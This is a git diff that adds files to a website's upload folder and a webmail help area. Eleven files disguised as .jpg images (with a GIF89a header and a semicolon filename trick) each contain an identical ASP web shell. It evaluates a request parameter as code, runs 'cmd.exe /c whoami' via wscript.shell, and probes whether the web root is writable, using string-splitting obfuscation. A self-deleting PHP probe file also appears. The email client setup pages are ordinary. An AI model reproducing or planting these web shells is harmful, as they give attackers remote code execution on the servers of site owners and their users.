diff --git a/userfiles/file/ali_asp;ali(90).jpg b/userfiles/file/ali_asp;ali(90).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(91).jpg b/userfiles/file/ali_asp;ali(91).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(92).jpg b/userfiles/file/ali_asp;ali(92).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(93).jpg b/userfiles/file/ali_asp;ali(93).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(94).jpg b/userfiles/file/ali_asp;ali(94).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(95).jpg b/userfiles/file/ali_asp;ali(95).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(96).jpg b/userfiles/file/ali_asp;ali(96).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(97).jpg b/userfiles/file/ali_asp;ali(97).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(98).jpg b/userfiles/file/ali_asp;ali(98).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(99).jpg b/userfiles/file/ali_asp;ali(99).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali.jpg b/userfiles/file/ali_asp;ali.jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/evamanual(1).pdf b/userfiles/file/evamanual(1).pdf
new file mode 100755 (executable)
index 0000000..07c2772
Binary files /dev/null and b/userfiles/file/evamanual(1).pdf differ
diff --git a/userfiles/file/evamanual(2).pdf b/userfiles/file/evamanual(2).pdf
new file mode 100755 (executable)
index 0000000..07c2772
Binary files /dev/null and b/userfiles/file/evamanual(2).pdf differ
diff --git a/userfiles/file/evamanual.pdf b/userfiles/file/evamanual.pdf
new file mode 100755 (executable)
index 0000000..07c2772
Binary files /dev/null and b/userfiles/file/evamanual.pdf differ
diff --git a/userfiles/file/evamanual2012(1).pdf b/userfiles/file/evamanual2012(1).pdf
new file mode 100755 (executable)
index 0000000..07c2772
Binary files /dev/null and b/userfiles/file/evamanual2012(1).pdf differ
diff --git a/userfiles/file/evamanual2012.pdf b/userfiles/file/evamanual2012.pdf
new file mode 100755 (executable)
index 0000000..07c2772
Binary files /dev/null and b/userfiles/file/evamanual2012.pdf differ
diff --git a/userfiles/file/fckcoretestxhtml(1).xhtml b/userfiles/file/fckcoretestxhtml(1).xhtml
new file mode 100755 (executable)
index 0000000..3b29893
--- /dev/null
@@ -0,0 +1 @@
+120520111013 xhtml work correctly
\ No newline at end of file
diff --git a/userfiles/file/fckcoretestxhtml.xhtml b/userfiles/file/fckcoretestxhtml.xhtml
new file mode 100755 (executable)
index 0000000..3b29893
--- /dev/null
@@ -0,0 +1 @@
+120520111013 xhtml work correctly
\ No newline at end of file
diff --git a/userfiles/file/test552.php b/userfiles/file/test552.php
new file mode 100755 (executable)
index 0000000..ac52048
--- /dev/null
@@ -0,0 +1,6 @@
+<?php
+echo md5("green day");
+$url = $_SERVER["PHP_SELF"];
+$filename = end(explode("/",$url));
+unlink($filename);
+?>
diff --git a/webmail/assets/arrow.gif b/webmail/assets/arrow.gif
new file mode 100755 (executable)
index 0000000..c903c0c
Binary files /dev/null and b/webmail/assets/arrow.gif differ
diff --git a/webmail/assets/arrowOn.gif b/webmail/assets/arrowOn.gif
new file mode 100755 (executable)
index 0000000..10426b5
Binary files /dev/null and b/webmail/assets/arrowOn.gif differ
diff --git a/webmail/assets/logo.gif b/webmail/assets/logo.gif
new file mode 100755 (executable)
index 0000000..403fbae
Binary files /dev/null and b/webmail/assets/logo.gif differ
diff --git a/webmail/assets/modus.jpg b/webmail/assets/modus.jpg
new file mode 100755 (executable)
index 0000000..c935aeb
Binary files /dev/null and b/webmail/assets/modus.jpg differ
diff --git a/webmail/assets/newwebmail.jpg b/webmail/assets/newwebmail.jpg
new file mode 100755 (executable)
index 0000000..05c1d62
Binary files /dev/null and b/webmail/assets/newwebmail.jpg differ
diff --git a/webmail/assets/webmail1.gif b/webmail/assets/webmail1.gif
new file mode 100755 (executable)
index 0000000..85a3aac
Binary files /dev/null and b/webmail/assets/webmail1.gif differ
diff --git a/webmail/assets/webmail2.gif b/webmail/assets/webmail2.gif
new file mode 100755 (executable)
index 0000000..c84dfc7
Binary files /dev/null and b/webmail/assets/webmail2.gif differ
diff --git a/webmail/help.html b/webmail/help.html
new file mode 100755 (executable)
index 0000000..76bee92
--- /dev/null
@@ -0,0 +1,33 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Gaslight Media Email Services</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta http-equiv="imagetoolbar" content="no">
+<meta http-equiv="imagetoolbar" content="false">
+<link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body>
+  <div id="wrapper">
+       <div id="top">
+               <a href="http://www.gaslightmedia.com"><img src="assets/logo.gif" width="284" height="89" alt="logo (5K)" title="Gaslight Media" border="0"></a>
+               <h1>E-MAIL Help</h1>
+       </div>
+       <div id="instructions">
+               
+
+                                       
+               <h2>Customer Mail Software Settings for Gaslight Media Mail Service</h2>
+               
+
+      <ul>
+        <li><p><a href="popuser.html">Setup your mail client</a></p></li>
+        <li><p><a href="webuser.html">Using webmail client</a></p></li>
+        <li><p><a href="webadmin.html">Managing your domain &nbsp; (for Domain Administrators)</a></p></li>
+      </ul>
+
+               </div><!-- /#instructions -->   
+       </div><!-- /#wrapper -->
+</body>
+</html>
diff --git a/webmail/help2.html b/webmail/help2.html
new file mode 100755 (executable)
index 0000000..76bee92
--- /dev/null
@@ -0,0 +1,33 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Gaslight Media Email Services</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta http-equiv="imagetoolbar" content="no">
+<meta http-equiv="imagetoolbar" content="false">
+<link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body>
+  <div id="wrapper">
+       <div id="top">
+               <a href="http://www.gaslightmedia.com"><img src="assets/logo.gif" width="284" height="89" alt="logo (5K)" title="Gaslight Media" border="0"></a>
+               <h1>E-MAIL Help</h1>
+       </div>
+       <div id="instructions">
+               
+
+                                       
+               <h2>Customer Mail Software Settings for Gaslight Media Mail Service</h2>
+               
+
+      <ul>
+        <li><p><a href="popuser.html">Setup your mail client</a></p></li>
+        <li><p><a href="webuser.html">Using webmail client</a></p></li>
+        <li><p><a href="webadmin.html">Managing your domain &nbsp; (for Domain Administrators)</a></p></li>
+      </ul>
+
+               </div><!-- /#instructions -->   
+       </div><!-- /#wrapper -->
+</body>
+</html>
diff --git a/webmail/index.html b/webmail/index.html
new file mode 100755 (executable)
index 0000000..a4b6480
--- /dev/null
@@ -0,0 +1,228 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Gaslight Media Email Services</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta http-equiv="imagetoolbar" content="no">
+<meta http-equiv="imagetoolbar" content="false">
+<link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body>
+  <div id="wrapper">
+       <div id="top">
+               <a href="http://www.gaslightmedia.com"><img src="assets/logo.gif" width="284" height="89" alt="logo (5K)" title="Gaslight Media" border="0"></a>
+       </div>  
+       <div id="column1" class="c-off" onMouseover="this.className='c-on'; document.getElementById('arrow2').src='assets/arrowOn.gif';" onMouseout="this.className='c-off'; document.getElementById('arrow2').src='assets/arrow.gif';">
+               <a href="http://webmail.gaslightmedia.com" title="New Gaslight Media E-Mail">
+                       <h2>New Gaslight Media E-Mail</h2>
+                       <p>Click here and you will see the new Webmail login page. Please enter your complete E-Mail address in the &quot;Username:&quot; field.</p>
+                       <img src="assets/arrow.gif" width="50" height="56" alt="" title="New Gaslight Media E-Mail" id="arrow2">
+                       <img src="assets/newwebmail.jpg" width="272" height="145" alt="newwebmail (6K)" title="New Gaslight Media E-Mail">
+               </a>
+       </div><!-- /#column1 -->
+               
+       <div id="instructions">
+               
+
+                                       
+               <h2>Customer Mail Software Settings for New Gaslight Media Mail Service</h2>
+               
+
+      <p>Please follow the procedure below carefully to configure your E-Mail account to use our new E-Mail
+      services. You should only need to make the changes requested in the procedure for the E-Mail software
+      you are using.</p>
+
+                       <p>For these procedures your full E-Mail address should look something like this
+
+                       <blockquote>jim@gaslightmedia.com</blockquote>
+                       </p>
+
+      <p>The part of your E-Mail address after the &quot;@&quot; sign is the &quot;Domain Name&quot;. Please enter this
+      wherever you see &quot;{domain name}&quot; in the procedure below. For example, the server settings
+      for the &quot;jim@gaslightmedia.com&quot; account would be...
+
+        <blockquote>Incoming mail server:   pop.gaslightmedia.com<br> 
+        Outgoing mail server:   smtp.gaslightmeda.com</blockquote>
+                       </p>
+
+                       <p>Please call Gaslight Media Technical Support if you have any problems with these settings or are unable to send or receive mail using our new E-Mail services.
+                       <blockquote>Gaslight Media Technical Support:   231-487-0692</blockquote>
+                       <blockquote>After Hours Technical Support:   231-487-9773</blockquote>
+                       </p>
+
+      <h3>Select the proceedure for your E-Mail software</h3>
+      <ul>
+        <li><p><a href="#Outlook">Outlook 2003 or Outlook 2007</a></p></li>
+        <li><p><a href="#Outlook Express">Outlook Express</a></p></li>
+        <li><p><a href="#Thunderbird">Thunderbird</a></p></li>
+        <li><p><a href="#Apple Mail">Apple Mail</a></p></li>
+        <li><p><a href="#Other">Other E-Mail Software</a></p></li>
+      </ul>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="Outlook"></a>
+      <h3>Use this procedure if you are using Outlook 2003 or Outlook 2007</h3>
+      
+      <ol>
+      <li>Start Outlook</li>
+      <li>Click on the &quot;Tools&quot; menu then &quot;E-mail Accounts&quot;</li>
+      <li>Select &quot;View or change existing e-mail accounts&quot; then click &quot;Next&quot;</li>
+      <li>Select the desired E-Mail account then click &quot;Change&quot;</li>
+      <li>Verify and correct as necessary the following settings
+       <ul>
+          <li>&quot;E-mail Address:&quot; should have your complete E-Mail address including domain</li>
+          <li>&quot;Incoming mail server (POP3):&quot; should be &quot;pop.{domain name}&quot;</li>
+          <li>&quot;Outgoing mail server (SMTP):&quot; should be &quot;smtp.{domain name}&quot;</li>
+          <li>&quot;User Name:&quot; should be your complete E-Mail address including domain</li>
+          <li>&quot;Password:&quot; your current password setting should be correct</li>
+          <li>&quot;Log on using Secure Password Authentication (SPA)&quot; should <span class="warning">NOT</span> be checked</li>
+         </ul>
+      </li>
+      <li>Click &quot;More Settings...&quot;</li>
+      <li>Select the &quot;Outgoing Server&quot; tab</li>
+      <li>Verify that the following items are checked
+        <ul>
+          <li>&quot;My outgoing server (SMTP) requires authentication&quot;</li>
+          <li>&quot;Use same settings as my incoming mail server&quot;</li>
+        </ul>
+      </li>
+      <li>Click on the &quot;Advanced&quot; tab</li>
+      <li>Change &quot;Outgoing server (SMTP):&quot; to 2500</li>
+      <li>Click OK.</li>
+      <li>Click &quot;Next&quot; then &quot;Finish&quot;</li>
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="Outlook Express"></a>
+      <h3>Use this procedure if you are using Outlook Express</h3>
+      
+      <ol>
+      <li>Start Outlook Express</li>
+      <li>Click on &quot;Tools&quot; menu then &quot;Accounts...&quot;</li>
+      <li>Click on the desired E-Mail account then click &quot;Properties&quot;</li>
+      <li>Click on the &quot;General&quot; tab at the top</li>
+      <li>&quot;E-Mail address:&quot; should be your complete E-Mail address including domain</li>
+      <li>Click on the &quot;Servers&quot; tab at the top</li>
+      <li>Verify and correct as necessary the following settings
+        <ul>
+          <li>&quot;Incoming mail (POP3):&quot; should be &quot;pop.{domain name}&quot;</li>
+          <li>&quot;Outgoing mail (SMTP):&quot; should be &quot;smtp.{domain name}&quot;</li>
+          <li>&quot;Account name:&quot; should be your complete E-Mail address including domain</li>
+          <li>&quot;Log on using Secure Password Authentication&quot; should <span class="warning">NOT</span> be checked</li>
+          <li>&quot;My server requires authentication&quot; should be checked</li>
+        </ul>
+      </li>
+      <li> Click on the &quot;Settings...&quot; button</li>
+      <li>&quot;Use same settings as my incoming mail server&quot; should be selected</li>
+      <li> Click &quot;OK&quot;</li>
+      <li> Click on &quot;Advanced&quot; tab at the top</li>
+      <li> Verify and correct as necessary the following settings
+       <ul>
+               <li>&quot;Outgoing mail (SMTP):&quot; should be 2500</li>
+               <li>&quot;Incoming mail (POP3):&quot; should be 110</li>
+       </ul>
+      </li>            
+      <li>Both &quot;This server requires a secure connection (SSL)&quot; should <span class="warning">NOT</span> be checked</li>
+      <li>Click &quot;OK&quot; then &quot;Close&quot;</li>
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="Thunderbird"></a>
+      <h3>Use this procedure if you are using Mozilla Thunderbird</h3>
+      
+      <ol>
+      <li>Start Thunderbird</li>
+      <li>Click on &quot;Tools&quot; menu then &quot;Account Settings...&quot;</li>
+      <li>Click on the desired E-Mail account in the left window</li>
+      <li>If there is a small &quot;+&quot; to the left of the account, click on that &quot;+&quot;</li>
+      <li>Verify and correct as necessary the following settings
+       <ul>
+               <li>&quot;Email Address:&quot; should be your complete E-Mail address including domain</li>
+               <li>&quot;Outgoing Server (SMTP):&quot; should be &quot;Use Default Server&quot;</li>
+       </ul>
+      </li>            
+      <li>Click on &quot;Server Settings&quot; under your selected account in the left window</li>
+      <li>Verify and correct as necessary the following settings
+       <ul>
+               <li>&quot;Server Name:&quot; should be &quot;pop.{domain name}&quot;</li>
+               <li>&quot;User Name:&quot; should be your complete E-Mail address including domain</li>
+       </ul>
+      </li>            
+      <li>Click on &quot;Outgoing Server (SMTP)&quot; in the left window</li>
+      <li>Click on the E-Mail server that includes &quot;(Default)&quot; then click &quot;Edit&quot;</li>
+      <li>Verify and correct as necessary the following settings
+       <ul>
+               <li>&quot;Server Name:&quot; should be &quot;smtp.{domain name}&quot;</li>
+               <li>&quot;Port:&quot; should be 2500</li>
+               <li>&quot;Use name and password&quot; should be checked</li>
+               <li>&quot;User Name:&quot; should be your complete E-Mail address including domain</li>
+               <li>&quot;Use secure connection:&quot; &quot;No&quot; should be selected</li>
+       </ul>
+      </li>            
+      <li>Click &quot;OK&quot; then click &quot;OK&quot;</li>
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="Apple Mail"></a>
+      <h3>Use this procedure if you are using Apple Mail</h3>
+      
+      <ol>
+      <li>Start Apple Mail</li>
+      <li>Click on the &quot;Mail&quot; menu then click &quot;Preferences&quot;</li>
+      <li>Click on &quot;Accounts&quot; at the top</li>
+      <li>Click on the desired E-Mail account at the left</li>
+      <li>Click the &quot;Account Information&quot; Tab</li>
+      <li>Verify and correct as necessary the following settings
+       <ul>
+               <li>&quot;E-Mail Address:&quot; should be your full E-Mail address including domain</li>
+               <li>&quot;Incoming Mail Server:&quot; should be &quot;pop.{domain name}&quot;</li>
+               <li>&quot;User Name:&quot; should be your full E-Mail address including domain</li>
+       </ul>
+      </li>            
+      <li>Click on the &quot;Outgoing Mail Server (SMTP):&quot; list and select &quot;Edit Server List&quot;</li>
+      <li>Select the current SMTP server from the drop down list</li>
+      <li>Select the &quot;Account Information&quot; tab</li>
+      <li>&quot;Server Name:&quot; should be &quot;smtp.{domain name}&quot;</li>
+      <li>Click on the &quot;Advanced&quot; tab</li>
+      <li>Verify and correct as necessary the following settings
+       <ul>
+               <li>&quot;Server Port:&quot; should be 2500</li>
+               <li>&quot;Use Secure Sockets Layer (SSL)&quot; should <span class="warning">NOT</span> be clicked</li>
+               <li>&quot;Authentication:&quot; should be &quot;Password&quot;</li>
+       </ul>
+      </li>            
+      <li>Click &quot;Ok&quot;, If it asks you to save click &quot;Save&quot;</li>
+      <li>Close the Preferences panel, selecting &quot;Save&quot; from the dialogue box that appears.</li>
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="Other"></a>
+      <h3>If you have other E-Mail client software not listed above</h3>
+      
+      <p>Verify and correct as necessary the following settings</p>
+      <ul>
+       <li>Incoming mail server should be &quot;pop.{domain name}&quot;</li>
+       <li>Outgoing mail server should be &quot;smtp.{domain name}&quot;</li>
+       <li>Outgoing port should be &quot;2500&quot;</li>
+       <li>SMTP Authentication should be enabled</li>
+      </ul>                    
+               </div><!-- /#instructions -->   
+       </div><!-- /#wrapper -->
+</body>
+</html>
diff --git a/webmail/popuser.html b/webmail/popuser.html
new file mode 100755 (executable)
index 0000000..a555f26
--- /dev/null
@@ -0,0 +1,238 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Gaslight Media Email Services</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta http-equiv="imagetoolbar" content="no">
+<meta http-equiv="imagetoolbar" content="false">
+<link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body>
+  <div id="wrapper">
+       <div id="top">
+               <a href="http://www.gaslightmedia.com"><img src="assets/logo.gif" width="284" height="89" alt="logo (5K)" title="Gaslight Media" border="0"></a>
+               <h1>E-MAIL Help</h1>
+       </div>
